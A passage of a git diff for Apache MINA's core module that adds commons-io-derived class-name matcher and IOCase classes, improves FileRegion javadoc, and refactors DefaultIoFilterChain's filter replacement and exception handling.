+ * + * This class is extracted from Apache commons-io project + */ +public final class FullClassNameMatcher implements ClassNameMatcher { + private final Set classesSet; + + /** + * Constructs an object based on the specified class names. + * + * @param classes a list of class names + */ + public FullClassNameMatcher(String... classes) { + classesSet = Collections.unmodifiableSet(new HashSet<>(Arrays.asList(classes))); + } + + @Override + public boolean matches(String className) { + return classesSet.contains(className); + } +} \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java new file mode 100644 index 0000000000..0faa818ff4 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java @@ -0,0 +1,277 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one or more + * contributor license agreements. See the NOTICE file distributed with + * this work for additional information regarding copyright ownership. + * The ASF licenses this file to You under the Apache License, Version 2.0 + * (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package org.apache.mina.core.buffer.matcher; + +import java.util.Objects; +import java.util.stream.Stream; + +/** + * Enumeration of IO case sensitivity. + *

+ * Different filing systems have different rules for case-sensitivity. + * Windows is case-insensitive, Unix is case-sensitive. + *

+ *

+ * This class captures that difference, providing an enumeration to + * control how file name comparisons should be performed. It also provides + * methods that use the enumeration to perform comparisons. + *

+ *

+ * Wherever possible, you should use the {@code check} methods in this + * class to compare file names. + *

+ * + * @since 1.3 + * + * This class is extracted from Apache commons-io project + */ +public enum IOCase { + + /** + * The constant for case-sensitive regardless of operating system. + */ + SENSITIVE("Sensitive", true), + + /** + * The constant for case-insensitive regardless of operating system. + */ + INSENSITIVE("Insensitive", false), + + /** + * The constant for case sensitivity determined by the current operating system. + * Windows is case-insensitive when comparing file names, Unix is case-sensitive. + *

+ * Note: This only caters for Windows and Unix. Other operating + * systems (e.g. OSX and OpenVMS) are treated as case-sensitive if they use the + * Unix file separator and case-insensitive if they use the Windows file separator + * (see {@link java.io.File#separatorChar}). + *

+ *

+ * If you serialize this constant on Windows, and deserialize on Unix, or vice + * versa, then the value of the case-sensitivity flag will change. + *

+ */ + SYSTEM("System", FileSystem.getCurrent().isCaseSensitive()); + + /** Serialization version. */ + private static final long serialVersionUID = -6343169151696340687L; + + /** + * Factory method to create an IOCase from a name. + * + * @param name the name to find + * @return the IOCase object + * @throws IllegalArgumentException if the name is invalid + */ + public static IOCase forName(final String name) { + return Stream.of(IOCase.values()).filter(ioCase -> ioCase.getName().equals(name)).findFirst() + .orElseThrow(() -> new IllegalArgumentException("Illegal IOCase name: " + name)); + } + + /** + * Tests for cases sensitivity in a null-safe manner. + * + * @param ioCase an IOCase. + * @return true if the input is non-null and {@link #isCaseSensitive()}. + * @since 2.10.0 + */ + public static boolean isCaseSensitive(final IOCase ioCase) { + return ioCase != null && ioCase.isCaseSensitive(); + } + + /** + * Returns the given value if not-null, the defaultValue if null. + * + * @param value the value to test. + * @param defaultValue the default value. + * @return the given value if not-null, the defaultValue if null. + * @since 2.12.0 + */ + public static IOCase value(final IOCase value, final IOCase defaultValue) { + return value != null ? value : defaultValue; + } + + /** The enumeration name. */ + private final String name; + + /** The sensitivity flag. */ + private final transient boolean sensitive; + + /** + * Constructs a new instance. + * + * @param name the name + * @param sensitive the sensitivity + */ + IOCase(final String name, final boolean sensitive) { + this.name = name; + this.sensitive = sensitive; + } + + /** + * Compares two strings using the case-sensitivity rule. + *

+ * This method mimics {@link String#compareTo} but takes case-sensitivity + * into account. + *

+ * + * @param str1 the first string to compare, not null + * @param str2 the second string to compare, not null + * @return true if equal using the case rules + * @throws NullPointerException if either string is null + */ + public int checkCompareTo(final String str1, final String str2) { + Objects.requireNonNull(str1, "str1"); + Objects.requireNonNull(str2, "str2"); + return sensitive ? str1.compareTo(str2) : str1.compareToIgnoreCase(str2); + } + + /** + * Checks if one string ends with another using the case-sensitivity rule. + *

+ * This method mimics {@link String#endsWith} but takes case-sensitivity + * into account. + *

+ * + * @param str the string to check + * @param end the end to compare against + * @return true if equal using the case rules, false if either input is null + */ + public boolean checkEndsWith(final String str, final String end) { + if (str == null || end == null) { + return false; + } + final int endLen = end.length(); + return str.regionMatches(!sensitive, str.length() - endLen, end, 0, endLen); + } + + /** + * Compares two strings using the case-sensitivity rule. + *

+ * This method mimics {@link String#equals} but takes case-sensitivity + * into account. + *

+ * + * @param str1 the first string to compare, not null + * @param str2 the second string to compare, not null + * @return true if equal using the case rules + * @throws NullPointerException if either string is null + */ + public boolean checkEquals(final String str1, final String str2) { + Objects.requireNonNull(str1, "str1"); + Objects.requireNonNull(str2, "str2"); + return sensitive ? str1.equals(str2) : str1.equalsIgnoreCase(str2); + } + + /** + * Checks if one string contains another starting at a specific index using the + * case-sensitivity rule. + *

+ * This method mimics parts of {@link String#indexOf(String, int)} + * but takes case-sensitivity into account. + *

+ * + * @param str the string to check, not null + * @param strStartIndex the index to start at in str + * @param search the start to search for, not null + * @return the first index of the search String, + * -1 if no match or {@code null} string input + * @throws NullPointerException if either string is null + * @since 2.0 + */ + public int checkIndexOf(final String str, final int strStartIndex, final String search) { + final int endIndex = str.length() - search.length(); + if (endIndex >= strStartIndex) { + for (int i = strStartIndex; i <= endIndex; i++) { + if (checkRegionMatches(str, i, search)) { + return i; + } + } + } + return -1; + } + + /** + * Checks if one string contains another at a specific index using the case-sensitivity rule. + *

+ * This method mimics parts of {@link String#regionMatches(boolean, int, String, int, int)} + * but takes case-sensitivity into account. + *

+ * + * @param str the string to check, not null + * @param strStartIndex the index to start at in str + * @param search the start to search for, not null + * @return true if equal using the case rules + * @throws NullPointerException if either string is null + */ + public boolean checkRegionMatches(final String str, final int strStartIndex, final String search) { + return str.regionMatches(!sensitive, strStartIndex, search, 0, search.length()); + } + + /** + * Checks if one string starts with another using the case-sensitivity rule. + *

+ * This method mimics {@link String#startsWith(String)} but takes case-sensitivity + * into account. + *

+ * + * @param str the string to check + * @param start the start to compare against + * @return true if equal using the case rules, false if either input is null + */ + public boolean checkStartsWith(final String str, final String start) { + return str != null && start != null && str.regionMatches(!sensitive, 0, start, 0, start.length()); + } + + /** + * Gets the name of the constant. + * + * @return the name of the constant + */ + public String getName() { + return name; + } + + /** + * Does the object represent case-sensitive comparison. + * + * @return true if case-sensitive + */ + public boolean isCaseSensitive() { + return sensitive; + } + + /** + * Replaces the enumeration from the stream with a real one. + * This ensures that the correct flag is set for SYSTEM. + * + * @return the resolved object + */ + private Object readResolve() { + return forName(name); + } + + /** + * Gets a string describing the sensitivity. + * + * @return a string describing the sensitivity + */ + @Override + public String toString() { + return name; + } +} diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java new file mode 100644 index 0000000000..75bf15fb37 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java @@ -0,0 +1,58 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.mina.core.buffer.matcher; + +import java.util.Objects; +import java.util.regex.Pattern; + +/** + * A {@link ClassNameMatcher} that uses regular expressions. + *

+ * This object is immutable and thread-safe. + *

+ * + * This class is extracted from Apache commons-io project + */ +public final class RegexpClassNameMatcher implements ClassNameMatcher { + private final Pattern pattern; // Class is thread-safe + + /** + * Constructs an object based on the specified pattern. + * + * @param pattern a pattern for evaluating acceptable class names + * @throws NullPointerException if {@code pattern} is null + */ + public RegexpClassNameMatcher(Pattern pattern) { + this.pattern = Objects.requireNonNull(pattern, "pattern"); + } + + /** + * Constructs an object based on the specified regular expression. + * + * @param regex a regular expression for evaluating acceptable class names + */ + public RegexpClassNameMatcher(String regex) { + this(Pattern.compile(regex)); + } + + @Override + public boolean matches(String className) { + return pattern.matcher(className).matches(); + } +} \ No newline at end of file diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java new file mode 100644 index 0000000000..f88d22ef26 --- /dev/null +++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java @@ -0,0 +1,47 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.mina.core.buffer.matcher; + +/** + * A {@link ClassNameMatcher} that uses simplified regular expressions + * provided by org.apache.commons.io.FilenameUtils.wildcardMatch(String, String) + *

+ * This object is immutable and thread-safe. + *

+ * + * This class is extracted from Apache commons-io project + */ +public final class WildcardClassNameMatcher implements ClassNameMatcher { + + private final String pattern; + + /** + * Constructs an object based on the specified simplified regular expression. + * + * @param pattern a {@link FilenameUtils#wildcardMatch} pattern. + */ + public WildcardClassNameMatcher(String pattern) { + this.pattern = pattern; + } + + @Override + public boolean matches(String className) { + return FilenameUtils.wildcardMatch(className, pattern, IOCase.SENSITIVE); + } +} diff --git a/mina-core/src/main/java/org/apache/mina/core/file/DefaultFileRegion.java b/mina-core/src/main/java/org/apache/mina/core/file/DefaultFileRegion.java index 2086700092..48ebd90cb6 100644 --- a/mina-core/src/main/java/org/apache/mina/core/file/DefaultFileRegion.java +++ b/mina-core/src/main/java/org/apache/mina/core/file/DefaultFileRegion.java @@ -22,64 +22,108 @@ import java.io.IOException; import java.nio.channels.FileChannel; - /** - * TODO Add documentation + * Manage a File to be sent to a remote host. We keep a track on the current + * position, and the number of already written bytes. * * * @author Apache MINA Project */ public class DefaultFileRegion implements FileRegion { - + /** The channel used to manage the file */ private final FileChannel channel; + /** The original position in the file */ private final long originalPosition; + + /** The position in teh file */ private long position; + + /** The number of bytes remaining to write */ private long remainingBytes; + /** + * Creates a new DefaultFileRegion instance + * + * @param channel The channel mapped over the file + * @throws IOException If we had an IO error + */ public DefaultFileRegion(FileChannel channel) throws IOException { this(channel, 0, channel.size()); } - + + /** + * Creates a new DefaultFileRegion instance + * + * @param channel The channel mapped over the file + * @param position The position in teh file + * @param remainingBytes The remaining bytes + */ public DefaultFileRegion(FileChannel channel, long position, long remainingBytes) { if (channel == null) { throw new IllegalArgumentException("channel can not be null"); } + if (position < 0) { throw new IllegalArgumentException("position may not be less than 0"); } + if (remainingBytes < 0) { throw new IllegalArgumentException("remainingBytes may not be less than 0"); } + this.channel = channel; this.originalPosition = position; this.position = position; this.remainingBytes = remainingBytes; } + /** + * {@inheritDoc} + */ + @Override public long getWrittenBytes() { return position - originalPosition; } + /** + * {@inheritDoc} + */ + @Override public long getRemainingBytes() { return remainingBytes; } + /** + * {@inheritDoc} + */ + @Override public FileChannel getFileChannel() { return channel; } + /** + * {@inheritDoc} + */ + @Override public long getPosition() { return position; } + /** + * {@inheritDoc} + */ + @Override public void update(long value) { position += value; remainingBytes -= value; } + /** + * {@inheritDoc} + */ + @Override public String getFilename() { return null; } - } diff --git a/mina-core/src/main/java/org/apache/mina/core/file/FileRegion.java b/mina-core/src/main/java/org/apache/mina/core/file/FileRegion.java index 8b75be9677..048a18c81b 100644 --- a/mina-core/src/main/java/org/apache/mina/core/file/FileRegion.java +++ b/mina-core/src/main/java/org/apache/mina/core/file/FileRegion.java @@ -29,10 +29,10 @@ public interface FileRegion { /** - * The open FileChannel from which data will be read to send to + * The open FileChannel from which data will be read to send to * remote host. * - * @return An open FileChannel. + * @return An open FileChannel. */ FileChannel getFileChannel(); @@ -44,12 +44,12 @@ public interface FileRegion { long getPosition(); /** - * Updates the current file position based on the specified amount. This + * Updates the current file position based on the specified amount. This * increases the value returned by {@link #getPosition()} and - * {@link getWrittenBytes} by the given amount and decreases the value - * returned by {@link #getCount()} by the given {@code amount}. - * - * @param amount The new value for the file position. + * {@link #getWrittenBytes()} by the given amount and decreases the value + * returned by {@link #getRemainingBytes()} by the given {@code amount}. + * + * @param amount The new value for the file position. */ void update(long amount); @@ -71,7 +71,7 @@ public interface FileRegion { /** * Provides an absolute filename for the underlying FileChannel. * - * @return the absolute filename, or null if the FileRegion + * @return the absolute filename, or null if the FileRegion * does not know the filename */ String getFilename(); diff --git a/mina-core/src/main/java/org/apache/mina/core/file/FilenameFileRegion.java b/mina-core/src/main/java/org/apache/mina/core/file/FilenameFileRegion.java index af0f876a0f..ce8404b00b 100644 --- a/mina-core/src/main/java/org/apache/mina/core/file/FilenameFileRegion.java +++ b/mina-core/src/main/java/org/apache/mina/core/file/FilenameFileRegion.java @@ -20,13 +20,11 @@ package org.apache.mina.core.file; import java.io.File; -import java.io.IOException; import java.nio.channels.FileChannel; - /** - * TODO Add documentation - * + * Manage a File to be sent to a remote host. We keep a track on the current + * position, and the number of already written bytes. * * @author The Apache MINA Project (dev@mina.apache.org) * @version $Rev$, $Date$ @@ -35,20 +33,39 @@ public class FilenameFileRegion extends DefaultFileRegion { private final File file; - public FilenameFileRegion(File file, FileChannel channel) throws IOException { + /** + * Create a new FilenameFileRegion instance + * + * @param file The file to manage + * @param channel The channel over the file + */ + public FilenameFileRegion(File file, FileChannel channel) { this(file, channel, 0, file.length()); } - + + /** + * Create a new FilenameFileRegion instance + * + * @param file The file to manage + * @param channel The channel over the file + * @param position The position in teh file + * @param remainingBytes The remaining bytes + */ public FilenameFileRegion(File file, FileChannel channel, long position, long remainingBytes) { - super(channel, position, remainingBytes); - + super(channel, position, remainingBytes); + if (file == null) { throw new IllegalArgumentException("file can not be null"); } + this.file = file; } + /** + * {@inheritDoc} + */ + @Override public String getFilename() { - return file.getAbsolutePath(); + return file.getAbsolutePath(); } } diff --git a/mina-core/src/main/java/org/apache/mina/core/filterchain/DefaultIoFilterChain.java b/mina-core/src/main/java/org/apache/mina/core/filterchain/DefaultIoFilterChain.java index 08aee67e43..5b76e52bfc 100644 --- a/mina-core/src/main/java/org/apache/mina/core/filterchain/DefaultIoFilterChain.java +++ b/mina-core/src/main/java/org/apache/mina/core/filterchain/DefaultIoFilterChain.java @@ -28,11 +28,15 @@ import org.apache.mina.core.filterchain.IoFilter.NextFilter; import org.apache.mina.core.future.ConnectFuture; import org.apache.mina.core.future.IoFuture; +import org.apache.mina.core.service.AbstractIoService; import org.apache.mina.core.session.AbstractIoSession; import org.apache.mina.core.session.AttributeKey; import org.apache.mina.core.session.IdleStatus; import org.apache.mina.core.session.IoSession; import org.apache.mina.core.write.WriteRequest; +import org.apache.mina.core.write.WriteRequestQueue; +import org.apache.mina.filter.FilterEvent; +import org.apache.mina.filter.ssl.EncryptedWriteRequest; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -50,13 +54,14 @@ public class DefaultIoFilterChain implements IoFilterChain { * attribute and notifies the future when {@link #fireSessionCreated()} * or {@link #fireExceptionCaught(Throwable)} is invoked. */ - public static final AttributeKey SESSION_CREATED_FUTURE = new AttributeKey( - DefaultIoFilterChain.class, "connectFuture"); + public static final AttributeKey SESSION_CREATED_FUTURE = new AttributeKey(DefaultIoFilterChain.class, + "connectFuture"); /** The associated session */ private final AbstractIoSession session; - private final Map name2entry = new ConcurrentHashMap(); + /** The mapping between the filters and their associated name */ + private final Map name2entry = new ConcurrentHashMap<>(); /** The chain head */ private final EntryImpl head; @@ -65,8 +70,7 @@ public class DefaultIoFilterChain implements IoFilterChain { private final EntryImpl tail; /** The logger for this class */ - private final static Logger LOGGER = LoggerFactory.getLogger(DefaultIoFilterChain.class); - + private static final Logger LOGGER = LoggerFactory.getLogger(DefaultIoFilterChain.class); /** * Create a new default chain, associated with a session. It will only contain a @@ -85,42 +89,71 @@ public DefaultIoFilterChain(AbstractIoSession session) { head.nextEntry = tail; } + /** + * {@inheritDoc} + */ + @Override public IoSession getSession() { return session; } + /** + * {@inheritDoc} + */ + @Override public Entry getEntry(String name) { Entry e = name2entry.get(name); + if (e == null) { return null; } + return e; } + /** + * {@inheritDoc} + */ + @Override public Entry getEntry(IoFilter filter) { EntryImpl e = head.nextEntry; + while (e != tail) { if (e.getFilter() == filter) { return e; } + e = e.nextEntry; } + return null; } + /** + * {@inheritDoc} + */ + @Override public Entry getEntry(Class filterType) { EntryImpl e = head.nextEntry; + while (e != tail) { if (filterType.isAssignableFrom(e.getFilter().getClass())) { return e; } + e = e.nextEntry; } + return null; } + /** + * {@inheritDoc} + */ + @Override public IoFilter get(String name) { Entry e = getEntry(name); + if (e == null) { return null; } @@ -128,8 +161,13 @@ public IoFilter get(String name) { return e.getFilter(); } + /** + * {@inheritDoc} + */ + @Override public IoFilter get(Class filterType) { Entry e = getEntry(filterType); + if (e == null) { return null; } @@ -137,8 +175,13 @@ public IoFilter get(Class filterType) { return e.getFilter(); } + /** + * {@inheritDoc} + */ + @Override public NextFilter getNextFilter(String name) { Entry e = getEntry(name); + if (e == null) { return null; } @@ -146,8 +189,13 @@ public NextFilter getNextFilter(String name) { return e.getNextFilter(); } + /** + * {@inheritDoc} + */ + @Override public NextFilter getNextFilter(IoFilter filter) { Entry e = getEntry(filter); + if (e == null) { return null; } @@ -155,8 +203,13 @@ public NextFilter getNextFilter(IoFilter filter) { return e.getNextFilter(); } + /** + * {@inheritDoc} + */ + @Override public NextFilter getNextFilter(Class filterType) { Entry e = getEntry(filterType); + if (e == null) { return null; } @@ -164,120 +217,253 @@ public NextFilter getNextFilter(Class filterType) { return e.getNextFilter(); } + /** + * {@inheritDoc} + */ + @Override public synchronized void addFirst(String name, IoFilter filter) { checkAddable(name); register(head, name, filter); } + /** + * {@inheritDoc} + */ + @Override public synchronized void addLast(String name, IoFilter filter) { checkAddable(name); register(tail.prevEntry, name, filter); } - public synchronized void addBefore(String baseName, String name, - IoFilter filter) { + /** + * {@inheritDoc} + */ + @Override + public synchronized void addBefore(String baseName, String name, IoFilter filter) { EntryImpl baseEntry = checkOldName(baseName); checkAddable(name); register(baseEntry.prevEntry, name, filter); } - public synchronized void addAfter(String baseName, String name, - IoFilter filter) { + /** + * {@inheritDoc} + */ + @Override + public synchronized void addAfter(String baseName, String name, IoFilter filter) { EntryImpl baseEntry = checkOldName(baseName); checkAddable(name); register(baseEntry, name, filter); } + /** + * {@inheritDoc} + */ + @Override public synchronized IoFilter remove(String name) { EntryImpl entry = checkOldName(name); deregister(entry); + return entry.getFilter(); } + /** + * {@inheritDoc} + */ + @Override public synchronized void remove(IoFilter filter) { EntryImpl e = head.nextEntry; + while (e != tail) { if (e.getFilter() == filter) { deregister(e); + return; } + e = e.nextEntry; } - throw new IllegalArgumentException("Filter not found: " - + filter.getClass().getName()); + + throw new IllegalArgumentException("Filter not found: " + filter.getClass().getName()); } + /** + * {@inheritDoc} + */ + @Override public synchronized IoFilter remove(Class filterType) { EntryImpl e = head.nextEntry; + while (e != tail) { if (filterType.isAssignableFrom(e.getFilter().getClass())) { IoFilter oldFilter = e.getFilter(); deregister(e); + return oldFilter; } + e = e.nextEntry; } - throw new IllegalArgumentException("Filter not found: " - + filterType.getName()); + + throw new IllegalArgumentException("Filter not found: " + filterType.getName()); } + /** + * {@inheritDoc} + */ + @Override public synchronized IoFilter replace(String name, IoFilter newFilter) { EntryImpl entry = checkOldName(name); IoFilter oldFilter = entry.getFilter(); + + // Call the preAdd method of the new filter + try { + newFilter.onPreAdd(this, name, entry.getNextFilter()); + } catch (Exception e) { + throw new IoFilterLifeCycleException("onPreAdd(): " + name + ':' + newFilter + " in " + getSession(), e); + } + + // Now, register the new Filter replacing the old one. entry.setFilter(newFilter); + + // Call the postAdd method of the new filter + try { + newFilter.onPostAdd(this, name, entry.getNextFilter()); + } catch (Exception e) { + entry.setFilter(oldFilter); + throw new IoFilterLifeCycleException("onPostAdd(): " + name + ':' + newFilter + " in " + getSession(), e); + } + return oldFilter; } + /** + * {@inheritDoc} + */ + @Override public synchronized void replace(IoFilter oldFilter, IoFilter newFilter) { - EntryImpl e = head.nextEntry; - while (e != tail) { - if (e.getFilter() == oldFilter) { - e.setFilter(newFilter); + EntryImpl entry = head.nextEntry; + + // Search for the filter to replace + while (entry != tail) { + if (entry.getFilter() == oldFilter) { + String oldFilterName = null; + + // Get the old filter name. It's not really efficient... + for (Map.Entry mapping : name2entry.entrySet()) { + if (entry == mapping.getValue() ) { + oldFilterName = mapping.getKey(); + + break; + } + } + + // Call the preAdd method of the new filter + try { + newFilter.onPreAdd(this, oldFilterName, entry.getNextFilter()); + } catch (Exception e) { + throw new IoFilterLifeCycleException("onPreAdd(): " + oldFilterName + ':' + newFilter + " in " + + getSession(), e); + } + + // Now, register the new Filter replacing the old one. + entry.setFilter(newFilter); + + // Call the postAdd method of the new filter + try { + newFilter.onPostAdd(this, oldFilterName, entry.getNextFilter()); + } catch (Exception e) { + entry.setFilter(oldFilter); + throw new IoFilterLifeCycleException("onPostAdd(): " + oldFilterName + ':' + newFilter + " in " + + getSession(), e); + } + return; } - e = e.nextEntry; + + entry = entry.nextEntry; } - throw new IllegalArgumentException("Filter not found: " - + oldFilter.getClass().getName()); + + throw new IllegalArgumentException("Filter not found: " + oldFilter.getClass().getName()); } - public synchronized IoFilter replace( - Class oldFilterType, IoFilter newFilter) { - EntryImpl e = head.nextEntry; - while (e != tail) { - if (oldFilterType.isAssignableFrom(e.getFilter().getClass())) { - IoFilter oldFilter = e.getFilter(); - e.setFilter(newFilter); + /** + * {@inheritDoc} + */ + @Override + public synchronized IoFilter replace(Class oldFilterType, IoFilter newFilter) { + EntryImpl entry = head.nextEntry; + + while (entry != tail) { + if (oldFilterType.isAssignableFrom(entry.getFilter().getClass())) { + IoFilter oldFilter = entry.getFilter(); + + String oldFilterName = null; + + // Get the old filter name. It's not really efficient... + for (Map.Entry mapping : name2entry.entrySet()) { + if (entry == mapping.getValue() ) { + oldFilterName = mapping.getKey(); + + break; + } + } + + // Call the preAdd method of the new filter + try { + newFilter.onPreAdd(this, oldFilterName, entry.getNextFilter()); + } catch (Exception e) { + throw new IoFilterLifeCycleException("onPreAdd(): " + oldFilterName + ':' + newFilter + " in " + + getSession(), e); + } + + entry.setFilter(newFilter); + + // Call the postAdd method of the new filter + try { + newFilter.onPostAdd(this, oldFilterName, entry.getNextFilter()); + } catch (Exception e) { + entry.setFilter(oldFilter); + throw new IoFilterLifeCycleException("onPostAdd(): " + oldFilterName + ':' + newFilter + " in " + + getSession(), e); + } + return oldFilter; } - e = e.nextEntry; + + entry = entry.nextEntry; } - throw new IllegalArgumentException("Filter not found: " - + oldFilterType.getName()); + + throw new IllegalArgumentException("Filter not found: " + oldFilterType.getName()); } + /** + * {@inheritDoc} + */ + @Override public synchronized void clear() throws Exception { - List l = new ArrayList( - name2entry.values()); + List l = new ArrayList<>(name2entry.values()); + for (IoFilterChain.Entry entry : l) { try { deregister((EntryImpl) entry); } catch (Exception e) { - throw new IoFilterLifeCycleException("clear(): " - + entry.getName() + " in " + getSession(), e); + throw new IoFilterLifeCycleException("clear(): " + entry.getName() + " in " + getSession(), e); } } } + /** + * Register the newly added filter, inserting it between the previous and + * the next filter in the filter's chain. We also call the preAdd and + * postAdd methods. + */ private void register(EntryImpl prevEntry, String name, IoFilter filter) { - EntryImpl newEntry = new EntryImpl(prevEntry, prevEntry.nextEntry, - name, filter); + EntryImpl newEntry = new EntryImpl(prevEntry, prevEntry.nextEntry, name, filter); try { filter.onPreAdd(this, name, newEntry.getNextFilter()); } catch (Exception e) { - throw new IoFilterLifeCycleException("onPreAdd(): " + name + ':' - + filter + " in " + getSession(), e); + throw new IoFilterLifeCycleException("onPreAdd(): " + name + ':' + filter + " in " + getSession(), e); } prevEntry.nextEntry.prevEntry = newEntry; @@ -288,8 +474,7 @@ private void register(EntryImpl prevEntry, String name, IoFilter filter) { filter.onPostAdd(this, name, newEntry.getNextFilter()); } catch (Exception e) { deregister0(newEntry); - throw new IoFilterLifeCycleException("onPostAdd(): " + name + ':' - + filter + " in " + getSession(), e); + throw new IoFilterLifeCycleException("onPostAdd(): " + name + ':' + filter + " in " + getSession(), e); } } @@ -299,8 +484,8 @@ private void deregister(EntryImpl entry) { try { filter.onPreRemove(this, entry.getName(), entry.getNextFilter()); } catch (Exception e) { - throw new IoFilterLifeCycleException("onPreRemove(): " - + entry.getName() + ':' + filter + " in " + getSession(), e); + throw new IoFilterLifeCycleException("onPreRemove(): " + entry.getName() + ':' + filter + " in " + + getSession(), e); } deregister0(entry); @@ -308,8 +493,8 @@ private void deregister(EntryImpl entry) { try { filter.onPostRemove(this, entry.getName(), entry.getNextFilter()); } catch (Exception e) { - throw new IoFilterLifeCycleException("onPostRemove(): " - + entry.getName() + ':' + filter + " in " + getSession(), e); + throw new IoFilterLifeCycleException("onPostRemove(): " + entry.getName() + ':' + filter + " in " + + getSession(), e); } } @@ -329,9 +514,11 @@ private void deregister0(EntryImpl entry) { */ private EntryImpl checkOldName(String baseName) { EntryImpl e = (EntryImpl) name2entry.get(baseName); + if (e == null) { throw new IllegalArgumentException("Filter not found:" + baseName); } + return e; } @@ -340,13 +527,15 @@ private EntryImpl checkOldName(String baseName) { */ private void checkAddable(String name) { if (name2entry.containsKey(name)) { - throw new IllegalArgumentException( - "Other filter is using the same name '" + name + "'"); + throw new IllegalArgumentException("Other filter is using the same name '" + name + "'"); } } + /** + * {@inheritDoc} + */ + @Override public void fireSessionCreated() { - Entry head = this.head; callNextSessionCreated(head, session); } @@ -355,36 +544,59 @@ private void callNextSessionCreated(Entry entry, IoSession session) { IoFilter filter = entry.getFilter(); NextFilter nextFilter = entry.getNextFilter(); filter.sessionCreated(nextFilter, session); - } catch (Throwable e) { + } catch (Exception e) { fireExceptionCaught(e); + } catch (Error e) { + fireExceptionCaught(e); + throw e; } } + /** + * {@inheritDoc} + */ + @Override public void fireSessionOpened() { - Entry head = this.head; callNextSessionOpened(head, session); } + /** + * {@inheritDoc} + */ + @Override + public void fireEvent(FilterEvent event) { + callNextFilterEvent(head, session, event); + } + private void callNextSessionOpened(Entry entry, IoSession session) { try { IoFilter filter = entry.getFilter(); NextFilter nextFilter = entry.getNextFilter(); filter.sessionOpened(nextFilter, session); - } catch (Throwable e) { + } catch (Exception e) { + fireExceptionCaught(e); + } catch (Error e) { fireExceptionCaught(e); + throw e; } } + /** + * {@inheritDoc} + */ + @Override public void fireSessionClosed() { // Update future. try { session.getCloseFuture().setClosed(); - } catch (Throwable t) { - fireExceptionCaught(t); + } catch (Exception e) { + fireExceptionCaught(e); + } catch (Error e) { + fireExceptionCaught(e); + throw e; } // And start the chain. - Entry head = this.head; callNextSessionClosed(head, session); } @@ -393,128 +605,168 @@ private void callNextSessionClosed(Entry entry, IoSession session) { IoFilter filter = entry.getFilter(); NextFilter nextFilter = entry.getNextFilter(); filter.sessionClosed(nextFilter, session); - } catch (Throwable e) { + } catch (Exception | Error e) { fireExceptionCaught(e); } } + /** + * {@inheritDoc} + */ + @Override public void fireSessionIdle(IdleStatus status) { session.increaseIdleCount(status, System.currentTimeMillis()); - Entry head = this.head; callNextSessionIdle(head, session, status); } - private void callNextSessionIdle(Entry entry, IoSession session, - IdleStatus status) { + private void callNextSessionIdle(Entry entry, IoSession session, IdleStatus status) { try { IoFilter filter = entry.getFilter(); NextFilter nextFilter = entry.getNextFilter(); - filter.sessionIdle(nextFilter, session, - status); - } catch (Throwable e) { + filter.sessionIdle(nextFilter, session, status); + } catch (Exception e) { + fireExceptionCaught(e); + } catch (Error e) { fireExceptionCaught(e); + throw e; } } + /** + * {@inheritDoc} + */ + @Override public void fireMessageReceived(Object message) { if (message instanceof IoBuffer) { - session.increaseReadBytes(((IoBuffer) message).remaining(), System - .currentTimeMillis()); + session.increaseReadBytes(((IoBuffer) message).remaining(), System.currentTimeMillis()); } - Entry head = this.head; callNextMessageReceived(head, session, message); } - private void callNextMessageReceived(Entry entry, IoSession session, - Object message) { + private void callNextMessageReceived(Entry entry, IoSession session, Object message) { try { IoFilter filter = entry.getFilter(); NextFilter nextFilter = entry.getNextFilter(); - filter.messageReceived(nextFilter, session, - message); - } catch (Throwable e) { + filter.messageReceived(nextFilter, session, message); + } catch (Exception e) { fireExceptionCaught(e); + } catch (Error e) { + fireExceptionCaught(e); + throw e; } } + /** + * {@inheritDoc} + */ + @Override public void fireMessageSent(WriteRequest request) { - session.increaseWrittenMessages(request, System.currentTimeMillis()); - try { request.getFuture().setWritten(); - } catch (Throwable t) { - fireExceptionCaught(t); + } catch (Exception e) { + fireExceptionCaught(e); + } catch (Error e) { + fireExceptionCaught(e); + throw e; } - Entry head = this.head; - if (!request.isEncoded()) { callNextMessageSent(head, session, request); } } - private void callNextMessageSent(Entry entry, IoSession session, - WriteRequest writeRequest) { + private void callNextMessageSent(Entry entry, IoSession session, WriteRequest writeRequest) { try { 